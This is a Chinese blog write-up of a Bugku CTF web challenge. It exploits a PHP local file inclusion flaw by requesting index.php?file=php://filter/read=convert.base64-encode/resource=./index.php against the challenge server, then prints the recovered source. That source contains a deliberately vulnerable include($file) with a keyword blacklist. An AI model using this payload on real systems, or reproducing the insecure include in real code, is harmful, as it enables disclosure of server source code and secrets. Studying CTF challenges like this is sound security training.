flag在index里,php://filter协议

版权声明:本文为博主原创文章,未经博主允许不得转载 https://blog.csdn.net/wssmiss/article/details/88228064

题目连接http://123.206.87.240:8005/post/

题目

在这里插入图片描述
点击之后出现
在这里插入图片描述
地址栏:http://123.206.87.240:8005/post/index.php?file=show.php 观察此题的切入点应该在文件包含漏洞,而且是php类型

解题思路

因为题目提示flag在index里面,但是无法通过查看源码得到有效信息,因此尝试使用php://filter获取源码
构造`http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=./index.php

在这里插入图片描述
得到加密后的index.php的源代码
整理后

<html>
    <title>Bugku-ctf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

得到flag

关于php://fileter 协议

php://filter 可以作为一个中间方去处理其他数据流
几个参数如下
在这里插入图片描述
关于php://filter协议详细请移步大佬博客 https://www.leavesongs.com/PENETRATION/php-filter-magic.html

待笔者参透其中思想再更 = =!

猜你喜欢

转载自blog.csdn.net/wssmiss/article/details/88228064